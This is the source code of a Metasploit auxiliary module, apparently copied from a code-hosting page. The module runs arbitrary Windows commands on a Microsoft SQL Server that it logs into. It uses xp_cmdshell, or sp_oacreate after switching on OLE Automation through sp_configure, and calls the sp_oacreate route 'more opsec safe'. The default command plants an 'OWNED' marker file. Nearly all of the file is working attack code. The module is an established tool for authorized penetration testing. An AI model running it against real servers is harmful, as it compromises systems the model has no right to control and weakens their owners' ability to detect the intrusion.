Path: blob/master/modules/auxiliary/admin/mssql/mssql_exec.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MSSQL7include Msf::OptionalSession::MSSQL89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Microsoft SQL Server Command Execution',14'Description' => %q{15This module will execute a Windows command on a MSSQL/MSDE instance via the xp_cmdshell (default) or the16sp_oacreate procedure (more opsec safe, no output, no temporary data table). A valid username and password is17required to use this module.18},19'Author' => [20'tebo <tebo[at]attackresearch.com>',21'arcc <pw[at]evait.de>'22],23'License' => MSF_LICENSE,24'References' => [25[ 'URL', 'http://msdn.microsoft.com/en-us/library/cc448435(PROT.10).aspx'],26[ 'URL', 'https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql'],27],28'Notes' => {29'Stability' => [CRASH_SAFE],30'SideEffects' => [IOC_IN_LOGS],31'Reliability' => []32}33)34)3536register_options([37OptString.new('CMD', [ false, 'Command to execute', 'cmd.exe /c echo OWNED > C:\\owned.exe']),38OptEnum.new('TECHNIQUE', [true, 'Technique to use for command execution', 'xp_cmdshell', ['xp_cmdshell', 'sp_oacreate']])39])40end4142def run43if session44set_mssql_session(session.client)45else46unless mssql_login_datastore47print_error('Error with mssql_login call')48info = mssql_client.initial_connection_info49if info[:errors] && !info[:errors].empty?50info[:errors].each do |err|51print_error(err)52end53end54return55end56end5758technique = datastore['TECHNIQUE']59case technique60when 'xp_cmdshell'61begin62mssql_xpcmdshell(datastore['CMD'], true)63rescue RuntimeError64print_status('Error while running "xp_cmdshell" method...retrying with "sp_oacreate" method')65mssql_spoacreate66end67when 'sp_oacreate'68mssql_spoacreate69end70end7172def mssql_spoacreate73doprint = datastore['VERBOSE']74print_status('Enabling advanced options and ole automation procedures.')75mssql_query("EXEC sp_configure 'show advanced options', 1; RECONFIGURE;", doprint)76mssql_query("EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;", doprint)77print_good('Executing command using sp_oacreate. No output will be displayed.')78mssql_query("DECLARE @mssql INT; EXEC sp_oacreate 'wscript.shell',@mssql OUTPUT; EXEC sp_oamethod @mssql, 'run', null, '#{datastore['CMD']}';", doprint)79end80end818283